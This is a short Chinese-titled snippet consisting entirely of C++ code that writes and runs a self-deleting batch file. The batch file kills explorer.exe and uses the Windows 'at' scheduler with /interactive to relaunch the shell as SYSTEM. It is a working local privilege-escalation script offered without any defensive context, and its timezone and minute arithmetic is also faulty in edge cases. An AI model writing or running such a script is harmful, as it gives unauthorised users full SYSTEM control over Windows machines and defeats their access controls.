使用计划任务提权到SYSTEM用户

#include <stdlib.h> #include <stdio.h> #include <time.h> using namespace std; int main() { freopen("systemtemp.bat","w",stdout); time_t timer; tm *tblock; time(&timer); tblock = gmtime(&timer); printf("net start \"task scheduler\"\n"); printf("taskkill /f /im explorer.exe\n"); if(tblock->tm_min<59) printf("at %02d:%02d /interactive %%systemroot%%\\explorer.exe\n",(tblock->tm_hour+8),tblock->tm_min+2); else printf("at %02d:%02d /interactive %%systemroot%%\\explorer.exe\n",(tblock->tm_hour+8)+1,2); printf("del %%0\n"); system("start systemtemp.bat"); return 0; }